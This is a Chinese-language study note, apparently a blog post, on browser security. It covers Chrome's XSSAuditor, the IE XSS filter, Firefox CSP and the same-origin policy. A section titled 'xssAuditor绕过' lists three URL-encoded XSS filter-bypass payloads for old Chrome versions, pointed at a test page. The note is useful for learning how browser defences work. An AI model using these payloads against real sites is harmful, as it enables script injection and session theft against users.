应用安全-浏览器安全-攻防

应用安全-浏览器安全-Chrome浏览器

关闭安全模式
暂时关闭 Linux: google
-chrome --disable-web-security Mac: open -a Google\ Chrome --args --disable-web-security windows: 进入到chrome安装目录, chrome.exe --disable-web-security

xssAuditor

过滤器可以在脚本执行之前就可以拦截,而且任何使用webkit都可以使用这些规则
当加载网页时,xssAuditor会在渲染的之前评估用户的输入数据:
1.检查用户输入是否包含恶意内容,如果存在进行拦截
2.xssAuditor检测用户是否会反射到渲染的页面中(html实体/html熟悉/javascript/css/url)
3.评估输入上下文是否合法,非法进行过滤

chrome是在此法解析阶段进行的,xssAuditor会逐一扫描检测token,
如果token中发现危险的属性和URL进行比较,如果URL中也存在同样的数据,xssAuditor则会认为这是一个反射XSS。
demo:
解析器解析
1.依次检查标签iframe是否包含恶意属性,src/onerror
2.如果src不是以javascript:开头,则安全,放行
3.onerror中含有脚本,检查URL是否包含
4.如果出现在URL中,认为存在安全问题,将过滤
5.中止iframe标签检查

 

xssAuditor绕过

http://mhz.pw/game/xss/xss.php?xss=%3c%62%72%3e%00%00%00%00%00%00%00%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e Bypass Chrome 60及之前版本
http://mhz.pw/game/xss/xss.php?xss=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=http%3A%2F%2Fmhz.pw%2Fgame%2Fxss%2Falert.swf%3E "只要支持flash的chrome版本(到Chrome 56),均可使用。
context == support flash

"
http://mhz.pw/game/xss/xss.php?xss=%3Csvg%3E%3Cset%20href%3D%23script%20attributeName%3Dhref%20to%3Ddata%3A%2Calert(document.domain)%20%2F%3E%3Cscript%20id%3Dscript%20src%3Dfoo%3E%3C%2Fscript%3E "到Chrome 55/56可用, 无任何条件,只要输出在页面中即可执行代码。
context == null

?xss="

chrome://version/ "Google Chrome 74.0.3729.169 (正式版本) (64 位) (cohort: Stable)
修订版本 78e4f8db3ce38f6c26cf56eed7ae9b331fc67ada-refs/branch-heads/3729@{#1013}
操作系统 Windows 7 Service Pack 1 Build 7601.24149
JavaScript V8 7.4.288.28
Flash 32.0.0.192 C:\Users\6128000055\AppData\Local\Google\Chrome\User Data\PepperFlash\32.0.0.192\pepflashplayer.dll
用户代理 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
命令行 ""C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"" --flag-switches-begin --flag-switches-end
可执行文件路径 C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
个人资料路径 C:\Users\6128000055\AppData\Local\Google\Chrome\User Data\Default
其他变体 d01ab0d3-6d9b32d4
8927cedd-377be55a
b0271b40-7f918788
4ca682fe-ca7d8d80
2b6ab552-7a3a298f
f88a4127-ca7d8d80
4b8c3f4-377be55a
c7c4e160-ca7d8d80
3095aa95-3f4a17df
c27fec31-5611c5b2
7c1bc906-f55a7974
7038b844-377be55a"

插件安装 https://blog.csdn.net/wanwuguicang/article/details/79736381

应用安全-浏览器安全-IE浏览器 

Version    Product
4.40.308    Internet Explorer 1.0 (Plus! for Windows 95)
4.40.520    Internet Explorer 2.0
4.70.1155    Internet Explorer 3.0
4.70.1158    Internet Explorer 3.0 (Windows 95 OSR2)
4.70.1215    Internet Explorer 3.01
4.70.1300    Internet Explorer 3.02 and 3.02a
4.71.544    Internet Explorer 4.0 Platform Preview 1.0 (PP1)
4.71.1008.3    Internet Explorer 4.0 Platform Preview 2.0 (PP2)
4.71.1712.6    Internet Explorer 4.0
4.72.2106.8    Internet Explorer 4.01
4.72.3110.8    Internet Explorer 4.01 Service Pack 1 (Windows 98)
4.72.3612.1713    Internet Explorer 4.01 Service Pack 2
5.00.0518.10    Internet Explorer 5 Developer Preview (Beta 1)
5.00.0910.1309    Internet Explorer 5 Beta (Beta 2)
5.00.2014.0216    Internet Explorer 5
5.00.2314.1003    Internet Explorer 5 (Office 2000)
5.00.2614.3500    Internet Explorer 5 (Windows 98 Second Edition)
5.00.2516.1900    Internet Explorer 5.01 (Windows 2000 Beta 3, build 5.00.2031)
5.00.2919.800    Internet Explorer 5.01 (Windows 2000 RC1, build 5.00.2072)
5.00.2919.3800    Internet Explorer 5.01 (Windows 2000 RC2, build 5.00.2128)
5.00.2919.6307    Internet Explorer 5.01 (Office 2000 SR-1)
5.00.2920.0000    Internet Explorer 5.01 (Windows 2000, build 5.00.2195)
5.00.3103.1000    Internet Explorer 5.01 SP1 (Windows 2000 SP1)
5.00.3105.0106    Internet Explorer 5.01 SP1 (Windows 95/98 and Windows NT 4.0)
5.00.3314.2101    Internet Explorer 5.01 SP2 (Windows 95/98 and Windows NT 4.0)
5.00.3315.1000    Internet Explorer 5.01 SP2 (Windows 2000 SP2)
5.00.3502.1000    Internet Explorer 5.01 SP3 (Windows 2000 SP3 only)
5.00.3700.1000    Internet Explorer 5.01 SP4 (Windows 2000 SP4 only)
5.50.3825.1300    Internet Explorer 5.5 Developer Preview (Beta)
5.50.4030.2400    Internet Explorer 5.5 & Internet Tools Beta
5.50.4134.0100    Internet Explorer 5.5 for Windows Me (4.90.3000)
5.50.4134.0600    Internet Explorer 5.5
5.50.4308.2900    Internet Explorer 5.5 Advanced Security Privacy Beta
5.50.4522.1800    Internet Explorer 5.5 Service Pack 1
5.50.4807.2300    Internet Explorer 5.5 Service Pack 2
6.00.2462.0000    Internet Explorer 6 Public Preview (Beta)
6.00.2479.0006    Internet Explorer 6 Public Preview (Beta) Refresh
6.00.2600.0000    Internet Explorer 6 (Windows XP)
6.00.2800.1106    Internet Explorer 6 Service Pack 1 (Windows XP SP1)
6.00.2900.2180    Internet Explorer 6 for Windows XP SP2
6.00.2900.5512    Internet Explorer 6 for Windows XP SP3
6.00.3663.0000    Internet Explorer 6 for Windows Server 2003 RC1
6.00.3718.0000    Internet Explorer 6 for Windows Server 2003 RC2
6.00.3790.0000    Internet Explorer 6 for Windows Server 2003 (release)
6.00.3790.1830    Internet Explorer 6 for Windows Server 2003 SP1 and Windows XP x64
6.00.3790.3959    Internet Explorer 6 SP2 for Windows Server 2003 SP1 and Windows XP x64
7.00.5730.1100    Internet Explorer 7 for Windows XP and Windows Server 2003
7.00.5730.1300    Internet Explorer 7 for Windows XP and Windows Server 2003
7.00.6000.16386    Internet Explorer 7 for Windows Vista
7.00.6000.16441    Internet Explorer 7 for Windows Server 2003 SP2 x64
7.00.6000.16441    Internet Explorer 7 for Windows XP SP2 x64
7.00.6001.1800    Internet Explorer 7 for Windows Server 2008 and for Windows Vista SP1
8.00.6001.17184    Internet Explorer 8 Beta 1
8.00.6001.18241    Internet Explorer 8 Beta 2
8.00.6001.18372    Internet Explorer 8 RC1
8.00.6001.18702    Internet Explorer 8 for Windows XP, Windows Vista, Windows Server 2003 and Windows Server 2008
8.00.7000.00000    Internet Explorer 8 for Windows 7 Beta
8.00.7600.16385    Internet Explorer 8 for Windows 7 and for Windows Server 2008 R2 (release)
9.0.7930.16406     Internet Explorer 9 Beta

 

IE xssFilter                        
IE的xssFilter是在IE8 beta2开始的,IE的xss检测比较粗暴,IE的xssFilter基于正则进行检测的,具体的规则位于
C:\Windows\System32下的mshtml.dll文件中
在cmd中进行查看:
findstr /C:"sc{r}" C:\WINDOWS\SYSTEM32\mshtml.dll|find "{"
                    
字符转义                        
单引号    \'                    
右斜杠    右双斜杠    

应用安全-浏览器安全-FIreFox浏览器

CSP策略(Content Security Policy)                        
"Firefox中有Content Security Policy。其做法就是有服务器返回一个HTTP头,并在其中描述页面应该遵守的安全策略。使用CSP的用法如下,插入一个HTTP返回头:

X-Content-Security-Policy:policy
其中policy的描述比较灵活,例如:

X-Content-Security-Policy:allow 'self'*.com
浏览器将信任来自mydomain.com及其子域下的内容。

再比如:

X-Content-Security-Policy:allow 'self';img-src*;media-src medial.com; script-src userscripts.example.com
除了信任自身来源之外,还可以加在任意域的图片,来自medial.com的媒体文件,以及userscripts.example.com的脚本,其他的规律一律拒绝。

CSP的设计理念是出色的,就是配置规则在页面较多的时候有点复杂。"                        
防御攻击对象    "UXSS

SOP

Code Injection

Use Inline Styles Violation"                    
检测网址    "http://csptesting.herokuapp.com/
项目源码:https://github.com/eoftedal/csp-testing                 

 

同源策略

带有src属性的标签(例如
                    
                    

你可能感兴趣的:(应用安全-浏览器安全-攻防)